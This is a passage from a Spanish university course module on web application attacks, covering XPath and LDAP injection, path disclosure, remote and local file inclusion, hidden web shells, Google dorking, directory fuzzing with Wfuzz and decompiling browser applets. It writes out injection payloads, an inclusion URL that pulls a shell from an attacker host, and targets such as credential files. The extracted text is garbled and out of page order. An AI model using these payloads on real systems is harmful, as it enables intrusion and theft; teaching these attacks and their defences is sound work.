[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web
Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente
filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como
se puede ver en la figura 13
Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)
Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a
toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera
todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-
tener con una consulta siguiendo el formato definido en las RFC sobre ADAM
(|(cn=Impresora_1)(cn=Impresora))
CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web
Figura 14 Todas las impresoras
Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos
inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten
no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre
cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo
antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta
por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))
Figura 15 Inyeccioacuten sin resultados
CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web
Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten
no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha
Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes
datos Es decir solo devuelve los datos del primer filtro completo y el resto de
la cadena es ignorado
212 LDAP Injection con OpenLDAP
Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol
que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya
estructura es la siguiente
Figura 16 Estructura del aacuterbol LDAP en OpenLDAP
Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-
niendo un uacutenico objeto como resultado (uid=kurt)
CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web
Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado
Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido
en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-
dor OR y un filtro que incluyera todos los resultados como se puede ver en la
siguiente imagen (|(uid=kurt)(uid=))
Figura 18 Todos los usuarios
